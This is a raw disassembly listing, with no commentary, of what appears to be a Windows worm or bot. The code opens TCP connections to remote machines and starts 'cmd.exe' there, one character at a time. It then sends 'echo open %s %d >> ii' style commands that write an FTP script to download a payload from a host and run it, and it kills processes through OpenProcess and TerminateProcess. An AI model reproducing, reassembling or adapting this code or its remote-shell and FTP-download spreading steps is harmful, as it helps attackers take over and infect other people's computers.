mov edi, ds:dword_4B3CA8
mov ds:dword_44202B[esi*4], ebx
mov ds:byte_441E23[esi*4], bl
mov ds:byte_44203B[esi*4], bl
mov ecx, ds:dword_44202F[esi*4]
push ecx
call edi
mov ds:dword_44202F[esi*4], ebx
mov edx, ds:dword_442033[esi*4]
lea esi, ds:442033h[esi*4]
push edx
call edi
mov [esi], ebx
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4253C7: ; CODE XREF: sub_425310+Cj
; sub_425310+18j
mov eax, ebp
pop ebp
pop ebx
retn
sub_425310 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425400 proc near ; CODE XREF: sub_401C6Cj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push ebp
push esi
push edi
xor ebp, ebp
xor edi, edi
mov esi, offset dword_442027
loc_425411: ; CODE XREF: sub_425400+52j
mov eax, [esp+10h+arg_0]
mov ecx, [esi-4]
cmp ecx, eax
jnz short loc_425445
test ebx, ebx
jle short loc_425437
cmp [esi], ebx
jz short loc_425428
cmp edi, ebx
jnz short loc_425445
loc_425428: ; CODE XREF: sub_425400+22j
push edi
call sub_401325
add esp, 4
test eax, eax
jz short loc_425445
jmp short loc_425444
; ---------------------------------------------------------------------------
loc_425437: ; CODE XREF: sub_425400+1Ej
push edi
call sub_401325
add esp, 4
test eax, eax
jz short loc_425445
loc_425444: ; CODE XREF: sub_425400+35j
inc ebp
loc_425445: ; CODE XREF: sub_425400+1Aj
; sub_425400+26j ...
add esi, 234h
inc edi
cmp esi, offset byte_488827
jl short loc_425411
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_425400 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425480 proc near ; CODE XREF: sub_401B4Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
push eax
push 0
push 1F0FFFh
mov edi, 1
call ds:dword_4B387C
mov esi, eax
test esi, esi
jz short loc_4254B5
push 0
push esi
call ds:dword_4B3880
test eax, eax
jnz short loc_4254B5
push esi
xor edi, edi
call ds:dword_4B38C8
loc_4254B5: ; CODE XREF: sub_425480+1Dj
; sub_425480+2Aj
mov eax, edi
pop edi
pop esi
retn
sub_425480 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4254D0 proc near ; CODE XREF: sub_40142Ej
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
xor eax, eax
mov ecx, offset dword_442023
loc_4254DB: ; CODE XREF: sub_4254D0+1Cj
cmp [ecx], edx
jnz short loc_4254E0
inc eax
loc_4254E0: ; CODE XREF: sub_4254D0+Dj
add ecx, 234h
cmp ecx, offset byte_488823
jl short loc_4254DB
retn
sub_4254D0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425500 proc near ; CODE XREF: sub_401C67j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
push esi
xor esi, esi
xor eax, eax
mov ecx, offset dword_442023
loc_42550E: ; CODE XREF: sub_425500+1Fj
cmp [ecx], edx
jz short loc_425523
add ecx, 234h
inc eax
cmp ecx, offset byte_488823
jl short loc_42550E
mov eax, esi
loc_425523: ; CODE XREF: sub_425500+10j
pop esi
retn
sub_425500 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425540 proc near ; CODE XREF: sub_401AD7j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset byte_441E23
loc_425548: ; CODE XREF: sub_425540+18j
cmp byte ptr [eax], 0
jz short loc_42555E
add eax, 234h
inc edi
cmp eax, offset dword_488623
jl short loc_425548
mov eax, edi
pop edi
retn
; ---------------------------------------------------------------------------
loc_42555E: ; CODE XREF: sub_425540+Bj
lea eax, [edi+edi*2]
push esi
shl eax, 4
sub eax, edi
push 1FFh
lea eax, [eax+eax*2]
lea esi, ds:441E23h[eax*4]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
call ds:dword_4B3AE0
mov ecx, [esp+14h+arg_4]
mov edx, [esp+14h+arg_8]
mov [esi+200h], ecx
mov dword ptr [esi+204h], 0
add esp, 0Ch
mov dword ptr [esi+208h], 0
mov [esi+20Ch], edx
mov byte ptr [esi+218h], 0
mov eax, edi
pop esi
pop edi
retn
sub_425540 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4255E0 proc near ; CODE XREF: sub_4019A6j
var_5A0 = dword ptr -5A0h
var_59C = dword ptr -59Ch
var_598 = dword ptr -598h
var_594 = dword ptr -594h
var_590 = byte ptr -590h
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = byte ptr 8
sub esp, 5A0h
xor eax, eax
push ebx
mov [esp+5A4h+var_5A0], eax
push ebp
mov [esp+5A8h+var_59C], eax
push esi
lea ecx, [esp+5ACh+arg_4]
push edi
mov [esp+5B0h+var_598], eax
push ecx
mov [esp+5B4h+var_594], eax
mov word ptr [esp+5B4h+var_5A0], 2
call ds:dword_4B3CBC
push 216Bh
mov [esp+5B4h+var_59C], eax
call ds:dword_4B3CB0
push 0
push 1
push 2
mov word ptr [esp+5BCh+var_5A0+2], ax
call ds:dword_4B3CAC
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_425645
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_425645: ; CODE XREF: sub_4255E0+56j
lea edx, [esp+5B0h+var_5A0]
push 10h
push edx
push esi
call ds:dword_4B3CB4
cmp eax, 0FFFFFFFFh
jnz short loc_425665
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_425665: ; CODE XREF: sub_4255E0+76j
push 0
lea eax, [esp+5B4h+var_400]
push 400h
push eax
push esi
call ds:dword_4B3C6C
mov ecx, offset byte_4403A9
call sub_401726
push eax
mov ecx, offset byte_4403A9
call sub_401726
mov ecx, ds:dword_4404E7
mov edx, [esp+5B4h+arg_0]
push eax
push ecx
push edx
call sub_401CC1
mov ebx, ds:dword_4B3AA8
add esp, 4
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [esp+5C4h+var_590]
push 190h
push eax
call ebx
lea edi, [esp+5CCh+var_590]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 1Ch
repne scasb
not ecx
mov ebp, ds:dword_4B3C9C
dec ecx
push 0
push ecx
lea ecx, [esp+5B8h+var_590]
push ecx
push esi
call ebp
cmp eax, 0FFFFFFFFh
jnz short loc_4256F4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_4256F4: ; CODE XREF: sub_4255E0+105j
push 1F4h
call ds:dword_4B38CC
mov ecx, offset byte_4403A9
call sub_401726
push eax
push offset dword_43BBBC
lea edx, [esp+5B8h+var_590]
push 190h
push edx
call ebx
lea edi, [esp+5C0h+var_590]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
lea eax, [esp+5B4h+var_590]
push ecx
push eax
push esi
call ebp
cmp eax, 0FFFFFFFFh
jnz short loc_425749
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 5A0h
retn
; ---------------------------------------------------------------------------
loc_425749: ; CODE XREF: sub_4255E0+15Aj
push 0
lea ecx, [esp+5B4h+var_400]
push 400h
push ecx
push esi
call ds:dword_4B3C6C
push esi
call ds:dword_4B3CA8
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 5A0h
retn
sub_4255E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4257F0: ; CODE XREF: _294ADE7B:004016D6j
push esi
mov esi, [esp+8]
push esi
call ds:dword_4B3CBC
cmp eax, 0FFFFFFFFh
jnz short loc_425818
push esi
call ds:dword_4B3CA4
test eax, eax
jnz short loc_425811
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_425811: ; CODE XREF: _294ADE7B:0042580Aj
mov eax, [eax+0Ch]
mov ecx, [eax]
mov eax, [ecx]
loc_425818: ; CODE XREF: _294ADE7B:004257FFj
pop esi
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425830 proc near ; CODE XREF: sub_401A96j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_9E = dword ptr 0A2h
sub esp, 10h
push esi
lea eax, [esp+14h+arg_4]
push edi
push eax
mov word ptr [esp+1Ch+var_10], 2
call ds:dword_4B3CBC
mov ecx, [esp+18h+arg_9E]
mov [esp+18h+var_C], eax
push ecx
call ds:dword_4B3CB0
push 6
push 1
push 2
mov word ptr [esp+24h+var_10+2], ax
call ds:dword_4B3CAC
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_425879
xor eax, eax
pop edi
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_425879: ; CODE XREF: sub_425830+3Fj
lea edx, [esp+18h+var_10]
push 10h
push edx
push esi
call ds:dword_4B3CB4
cmp eax, 0FFFFFFFFh
jnz short loc_42589B
push esi
call ds:dword_4B3CA8
xor eax, eax
pop edi
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42589B: ; CODE XREF: sub_425830+5Aj
push 0
push 1213h
push offset dword_43DEAC
push esi
call ds:dword_4B3C9C
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_4258C2
call ds:dword_4B3CA8
xor eax, eax
pop edi
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_4258C2: ; CODE XREF: sub_425830+82j
call ds:dword_4B3CA8
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+0D4h+arg_0]
mov edi, esp
rep movsd
movsw
call sub_4019A6
add esp, 0BCh
test al, al
jz short loc_425912
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+0D4h+arg_0]
mov edi, esp
rep movsd
movsw
call sub_401131
add esp, 0BCh
loc_425912: ; CODE XREF: sub_425830+BDj
pop edi
mov eax, 1
pop esi
add esp, 10h
retn
sub_425830 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_425960 proc near ; CODE XREF: sub_401E33j
var_16 = word ptr -16h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 18h
mov ax, ds:word_43F48C
mov cx, ds:word_43F488
mov dx, ds:word_4B22F8
mov [esp+18h+var_16], ax
mov eax, ds:dword_4B2300
push ebx
mov [esp+1Ch+var_10], eax
mov ax, ds:word_4B2444
mov [esp+1Ch+var_4], ax
mov eax, [esp+1Ch+arg_8]
mov [esp+1Ch+var_12], cx
mov cl, ds:byte_4B2304
mov [esp+1Ch+var_14], dx
mov edx, ds:dword_4B2440
push ebp
push esi
test eax, eax
push edi
mov [esp+28h+var_C], cl
mov [esp+28h+var_8], edx
jnz loc_425A82
mov ebp, [esp+28h+arg_4]
mov esi, [esp+28h+arg_0]
mov ebx, ds:dword_4B3C9C
mov [esp+28h+arg_8], eax
loc_4259D0: ; CODE XREF: sub_425960+114j
sub eax, 0
jz short loc_425A18
dec eax
jnz loc_425A68
push 0
lea ecx, [esp+2Ch+var_16]
push 1
push ecx
push esi
call ebx
push 0
lea edx, [esp+28h+var_10]
push 1
push edx
push esi
call ebx
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push eax
cmp ecx, 2
jnz short loc_425A0F
lea eax, [esp+28h+var_C]
push 4
push eax
jmp short loc_425A52
; ---------------------------------------------------------------------------
loc_425A0F: ; CODE XREF: sub_425960+A4j
lea ecx, [esp+28h+var_4]
push 5
push ecx
jmp short loc_425A52
; ---------------------------------------------------------------------------
loc_425A18: ; CODE XREF: sub_425960+73j
push 0
lea edx, [esp+2Ch+var_16]
push 1
push edx
push esi
call ebx
push 0
lea eax, [esp+28h+var_10+2]
push 1
push eax
push esi
call ebx
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push eax
cmp ecx, 2
jnz short loc_425A4B
lea ecx, [esp+28h+var_C]
push 4
push ecx
jmp short loc_425A52
; ---------------------------------------------------------------------------
loc_425A4B: ; CODE XREF: sub_425960+E0j
lea edx, [esp+28h+var_4]
push 5
push edx
loc_425A52: ; CODE XREF: sub_425960+ADj
; sub_425960+B6j ...
push esi
call ebx
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push ebp
push esi
call ebx
loc_425A68: ; CODE XREF: sub_425960+76j
mov eax, [esp+28h+arg_8]
inc eax
cmp eax, 1
mov [esp+28h+arg_8], eax
jle loc_4259D0
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_425A82: ; CODE XREF: sub_425960+58j
dec eax
jz short loc_425AD6
dec eax
jnz loc_425B34
mov esi, [esp+28h+arg_0]
mov ebx, ds:dword_4B3C9C
push 0
lea eax, [esp+2Ch+var_16]
push 1
push eax
push esi
call ebx
push 0
lea ecx, [esp+28h+var_10]
push 1
push ecx
push esi
call ebx
mov ebp, [esp+24h+arg_8]
or ecx, 0FFFFFFFFh
mov edi, ebp
xor eax, eax
repne scasb
not ecx
dec ecx
push eax
cmp ecx, 2
jnz short loc_425ACD
lea edx, [esp+28h+var_C]
push 4
push edx
jmp short loc_425B1E
; ---------------------------------------------------------------------------
loc_425ACD: ; CODE XREF: sub_425960+162j
lea eax, [esp+28h+var_4]
push 5
push eax
jmp short loc_425B1E
; ---------------------------------------------------------------------------
loc_425AD6: ; CODE XREF: sub_425960+123j
mov esi, [esp+28h+arg_0]
mov ebx, ds:dword_4B3C9C
push 0
lea ecx, [esp+2Ch+var_16]
push 1
push ecx
push esi
call ebx
push 0
lea edx, [esp+28h+var_10+2]
push 1
push edx
push esi
call ebx
mov ebp, [esp+24h+arg_8]
or ecx, 0FFFFFFFFh
mov edi, ebp
xor eax, eax
repne scasb
not ecx
dec ecx
push eax
cmp ecx, 2
jnz short loc_425B17
lea eax, [esp+28h+var_C]
push 4
push eax
jmp short loc_425B1E
; ---------------------------------------------------------------------------
loc_425B17: ; CODE XREF: sub_425960+1ACj
lea ecx, [esp+28h+var_4]
push 5
push ecx
loc_425B1E: ; CODE XREF: sub_425960+16Bj
; sub_425960+174j ...
push esi
call ebx
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push ebp
push esi
call ebx
loc_425B34: ; CODE XREF: sub_425960+126j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
sub_425960 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_425BC0: ; CODE XREF: _294ADE7B:004018D4j
sub esp, 80h
mov eax, ds:dword_43F53C
mov ecx, ds:dword_43F540
mov edx, ds:dword_43F544
mov [esp+20h], eax
mov al, ds:byte_43F548
mov [esp+24h], ecx
mov cx, ds:word_43F538
mov [esp+2Ch], al
mov eax, ds:dword_4B2300
mov [esp+28h], edx
mov dl, ds:byte_43F53A
mov [esp+18h], eax
mov ax, ds:word_43F488
push ebx
push ebp
push esi
mov [esp+1Ch], cx
mov cl, ds:byte_4B2304
mov [esp+1Eh], dl
mov dx, ds:word_43F534
mov [esp+0Eh], ax
mov [esp+10h], ax
mov al, ds:byte_43F536
xor esi, esi
push edi
mov [esp+2Ch], cl
mov cx, ds:word_43F530
mov [esp+1Ch], dx
mov dl, ds:byte_43F532
mov [esp+1Eh], al
mov ax, ds:word_43BD60
push esi
push 1
push 2
mov [esp+24h], cx
mov [esp+26h], dl
mov [esp+22h], ax
call ds:dword_4B3CAC
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jnz short loc_425C7A
push eax
call ds:dword_4B3CA8
loc_425C7A: ; CODE XREF: _294ADE7B:00425C71j
lea ecx, [esp+98h]
mov word ptr [esp+40h], 2
push ecx
call ds:dword_4B3CBC
mov edx, [esp+132h]
mov [esp+44h], eax
push edx
call ds:dword_4B3CB0
mov [esp+42h], ax
lea eax, [esp+40h]
push 10h
push eax
push ebp
call ds:dword_4B3CB4
test eax, eax
jz short loc_425CCC
push ebp
call ds:dword_4B3CA8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 80h
retn
; ---------------------------------------------------------------------------
loc_425CCC: ; CODE XREF: _294ADE7B:00425CB6j
mov ebx, ds:dword_4B3C9C
loc_425CD2: ; CODE XREF: _294ADE7B:00425D19j
; _294ADE7B:00425D6Fj ...
mov ecx, 10h
xor eax, eax
lea edi, [esp+50h]
push eax
rep stosd
lea ecx, [esp+54h]
push 40h
push ecx
push ebp
call ds:dword_4B3C6C
test eax, eax
jle loc_425E12
cmp eax, 0FFFFFFFFh
jz loc_425E12
mov eax, esi
sub eax, 0
jz short loc_425D74
dec eax
jz short loc_425D1B
dec eax
jz loc_425DC9
cmp esi, 3
jz loc_425E12
jmp short loc_425CD2
; ---------------------------------------------------------------------------
loc_425D1B: ; CODE XREF: _294ADE7B:00425D07j
lea esi, [esp+20h]
lea eax, [esp+50h]
loc_425D23: ; CODE XREF: _294ADE7B:00425D41j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_425D47
test cl, cl
jz short loc_425D43
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_425D47
add eax, 2
add esi, 2
test cl, cl
jnz short loc_425D23
loc_425D43: ; CODE XREF: _294ADE7B:00425D2Dj
xor eax, eax
jmp short loc_425D4C
; ---------------------------------------------------------------------------
loc_425D47: ; CODE XREF: _294ADE7B:00425D29j
; _294ADE7B:00425D37j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_425D4C: ; CODE XREF: _294ADE7B:00425D45j
test eax, eax
jnz loc_425DFE
lea edi, [esp+12h]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
push eax
dec ecx
lea eax, [esp+16h]
push ecx
push eax
push ebp
call ebx
mov esi, 2
jmp loc_425CD2
; ---------------------------------------------------------------------------
loc_425D74: ; CODE XREF: _294ADE7B:00425D04j
lea esi, [esp+30h]
lea eax, [esp+50h]
loc_425D7C: ; CODE XREF: _294ADE7B:00425D9Aj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_425DA0
test cl, cl
jz short loc_425D9C
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_425DA0
add eax, 2
add esi, 2
test cl, cl
jnz short loc_425D7C
loc_425D9C: ; CODE XREF: _294ADE7B:00425D86j
xor eax, eax
jmp short loc_425DA5
; ---------------------------------------------------------------------------
loc_425DA0: ; CODE XREF: _294ADE7B:00425D82j
; _294ADE7B:00425D90j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_425DA5: ; CODE XREF: _294ADE7B:00425D9Ej
test eax, eax
jnz short loc_425DFE
lea edi, [esp+30h]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
push eax
dec ecx
lea eax, [esp+34h]
push ecx
push eax
push ebp
call ebx
mov esi, 1
jmp loc_425CD2
; ---------------------------------------------------------------------------
loc_425DC9: ; CODE XREF: _294ADE7B:00425D0Aj
lea esi, [esp+28h]
lea eax, [esp+50h]
loc_425DD1: ; CODE XREF: _294ADE7B:00425DEFj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_425DF5
test cl, cl
jz short loc_425DF1
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_425DF5
add eax, 2
add esi, 2
test cl, cl
jnz short loc_425DD1
loc_425DF1: ; CODE XREF: _294ADE7B:00425DDBj
xor eax, eax
jmp short loc_425DFA
; ---------------------------------------------------------------------------
loc_425DF5: ; CODE XREF: _294ADE7B:00425DD7j
; _294ADE7B:00425DE5j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_425DFA: ; CODE XREF: _294ADE7B:00425DF3j
test eax, eax
jz short loc_425E12
loc_425DFE: ; CODE XREF: _294ADE7B:00425D4Ej
; _294ADE7B:00425DA7j
push ebp
call ds:dword_4B3CA8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 80h
retn
; ---------------------------------------------------------------------------
loc_425E12: ; CODE XREF: _294ADE7B:00425CF0j
; _294ADE7B:00425CF9j ...
push 0
lea eax, [esp+18h]
push 1
push eax
push ebp
call ebx
lea ecx, [esp+1Ch]
push 1
push ecx
push ebp
call sub_401E33
mov ebx, ds:dword_4B38CC
add esp, 0Ch
push 3E8h
call ebx
lea edx, [esp+16h]
push 0
push edx
push ebp
call sub_401E33
add esp, 0Ch
push 3E8h
call ebx
lea eax, [esp+1Ch]
push 2
push eax
push ebp
call sub_401E33
add esp, 0Ch
push 3E8h
call ebx
mov edi, offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe"
or ecx, 0FFFFFFFFh
xor eax, eax
xor esi, esi
repne scasb
not ecx
dec ecx
jz short loc_425EBE
loc_425E7C: ; CODE XREF: _294ADE7B:00425EBCj
movsx ecx, byte ptr ds:aSystemrootSyst[esi] ; "%systemroot%\\system32\\cmd.exe"
push ecx
push offset aC ; "%c"
lea edx, [esp+2Ch]
push 3
push edx
call ds:dword_4B3AA8
lea eax, [esp+34h]
push 0
push eax
push ebp
call sub_401E33
add esp, 1Ch
push 7Dh
call ebx
mov edi, offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe"
or ecx, 0FFFFFFFFh
xor eax, eax
inc esi
repne scasb
not ecx
dec ecx
cmp esi, ecx
jb short loc_425E7C
loc_425EBE: ; CODE XREF: _294ADE7B:00425E7Aj
lea ecx, [esp+18h]
push 0
push ecx
push ebp
call sub_401E33
add esp, 0Ch
push 7D0h
call ebx
mov ecx, 40h
xor eax, eax
mov edi, offset byte_4B230C
rep stosd
mov ecx, offset byte_4403A9
call sub_401726
push eax
mov ecx, offset byte_4403A9
call sub_401726
mov edx, ds:dword_4404E7
push eax
mov eax, [esp+9Ch]
push edx
push eax
call sub_401CC1
add esp, 4
push eax
push offset aEchoOpenSDAaEc ; "echo open %s %d >> aa &echo user a a >>"...
push 0FFh
push offset byte_4B230C
loc_425F20: ; DATA XREF: sub_404890+BFCo
call ds:dword_4B3AA8
mov edi, offset byte_4B230C
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 1Ch
xor esi, esi
repne scasb
not ecx
dec ecx
jz short loc_425F7E
loc_425F3C: ; CODE XREF: _294ADE7B:00425F7Cj
movsx ecx, ds:byte_4B230C[esi]
push ecx
push offset aC ; "%c"
lea edx, [esp+2Ch]
push 3
push edx
call ds:dword_4B3AA8
lea eax, [esp+34h]
push 0
push eax
push ebp
call sub_401E33
add esp, 1Ch
push 7Dh
call ebx
mov edi, offset byte_4B230C
or ecx, 0FFFFFFFFh
xor eax, eax
inc esi
repne scasb
not ecx
dec ecx
cmp esi, ecx
jb short loc_425F3C
loc_425F7E: ; CODE XREF: _294ADE7B:00425F3Aj
push 3E8h
call ebx
lea ecx, [esp+18h]
push 0
push ecx
push ebp
call sub_401E33
add esp, 0Ch
mov esi, 2
loc_425F9A: ; CODE XREF: _294ADE7B:00425FB2j
push 258h
call ebx
lea edx, [esp+18h]
push 0
push edx
push ebp
call sub_401E33
add esp, 0Ch
dec esi
jnz short loc_425F9A
sub esp, 0BCh
mov ecx, 2Eh
lea esi, [esp+150h]
mov edi, esp
rep movsd
movsw
call sub_401131
add esp, 0BCh
push 3E8h
call ebx
push ebp
call ds:dword_4B3CA8
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 80h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426110 proc near ; CODE XREF: sub_40158Cj
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426110
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 7
push 0Eh
push 9
push 10h
push 4Fh
push 13h
push 0Fh
mov esi, ecx
push 4
lea eax, [esp+68h+var_3C]
push 4
push eax
mov dword ptr [esi+118h], 0
mov byte ptr [esi+11Ch], 0
call sub_4018DE
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_401726
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_43FFB0
call sub_401523
or edi, 0FFFFFFFFh
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 10h
push 4
push 15h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+64h+var_3C]
push 4
push edx
call sub_4018DE
add esp, 28h
push esi
mov ecx, eax
mov [esp+48h+var_4], 1
call sub_401726
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 0Eh
push 19h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea ecx, [esp+64h+var_3C]
push 4
push ecx
call sub_4018DE
add esp, 28h
push esi
mov ecx, eax
mov [esp+48h+var_4], 2
call sub_401726
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea eax, [esp+68h+var_3C]
push 4
push eax
call sub_4018DE
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 3
call sub_401726
lea ecx, [esi+0EAh]
push eax
push ecx
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_4011F9
push 0
push 0Eh
push 19h
push 13h
push 4
push 13h
push 4Fh
push 13h
push 0Fh
push 4
lea edx, [esp+6Ch+var_24]
push 4
push edx
call sub_4018DE
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 4
call sub_401726
add esi, 8Eh
push eax
push esi
mov ecx, offset dword_43FFB0
call sub_401523
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_4], edi
call sub_4011F9
mov ecx, [esp+44h+var_C]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_426110 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426360: ; CODE XREF: _294ADE7B:loc_401A78j
push 0FFFFFFFFh
push offset loc_434E56
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
push esi
mov esi, [esp+50h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+8Eh]
mov [esp+54h], edi
call sub_401479
push eax
mov ecx, edi
call sub_4012B7
mov ebx, ds:dword_4B3AEC
test eax, eax
jnz loc_4264FB
push 95h
call sub_43034A
add esp, 4
mov [esp+10h], eax
xor edi, edi
cmp eax, edi
mov [esp+4Ch], edi
jz short loc_4263CE
mov ecx, eax
call sub_401ACD
mov edi, eax
loc_4263CE: ; CODE XREF: _294ADE7B:004263C3j
push offset dword_43B600
lea eax, [esp+18h]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [edi+91h], ebp
call sub_401622
push eax
lea ecx, [edi+3Bh]
mov dword ptr [esp+50h], 1
call sub_401E65
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_4011F9
push offset dword_43B600
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_401622
mov ecx, eax
mov dword ptr [esp+4Ch], 2
call sub_401726
push eax
call ebx
add esp, 4
lea ecx, [esp+14h]
mov [edi+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_4011F9
push offset dword_43B600
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_401622
mov ecx, eax
mov dword ptr [esp+4Ch], 3
call sub_401726
push eax
call ebx
add esp, 4
lea ecx, [esp+14h]
mov [edi+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_4011F9
push offset dword_43B600
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_401622
mov ecx, eax
mov dword ptr [esp+4Ch], 4
call sub_401726
push eax
call ebx
add esp, 4
lea ecx, [esp+14h]
mov [edi+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_4011F9
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+26h]
call sub_401E65
mov dl, [esi+93h]
mov ecx, edi
mov [edi+8Fh], dl
mov al, [esi+94h]
mov [edi+90h], al
call sub_40137F
mov edi, [esp+54h]
